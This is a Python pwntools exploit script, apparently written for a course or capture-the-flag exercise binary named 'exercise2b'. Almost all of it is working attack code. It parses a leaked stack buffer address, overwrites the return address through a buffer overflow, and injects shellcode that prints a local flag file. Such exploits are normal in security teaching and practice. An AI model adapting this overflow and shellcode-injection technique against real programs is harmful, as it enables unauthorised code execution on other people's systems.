#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
exe = './exercise2b'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
    	#set env variable that contains the shellcode

        #env={'SHELLCODE': shellcode}
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
c
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

r = start()
if args.PAUSE:
    pause()

#process start of buffer address leak
address = r.recvline()
address = address.split(b'\n')[0]
address = address.split(b'0x')[1]
address = address.decode()
addr = bytes.fromhex(address)
addr = addr[::-1]
padd = 8 - len(addr)
if padd != 0:
	addr = addr + b'\x00' * padd

#print(addr)

addr = int.from_bytes(addr, byteorder='little')
#print(addr)
addr = addr + 48
addr = addr.to_bytes(8,byteorder='little')
#rint(addr)




log.info(f"address = {address}")
i = r.recvuntil("password:\n")
log.info(f"first data {i}")

#idea: put shellcode after check_authentication return address and have the return address contain the one after itself

shellcode = shellcraft.amd64.linux.cat("./flag", fd=1)
shellcode = asm(shellcode)

exploit = 5 * b'AAAAAAAA' + addr + shellcode

r.sendline(exploit) 
j = r.recvall()
log.info(f"final data {j}")

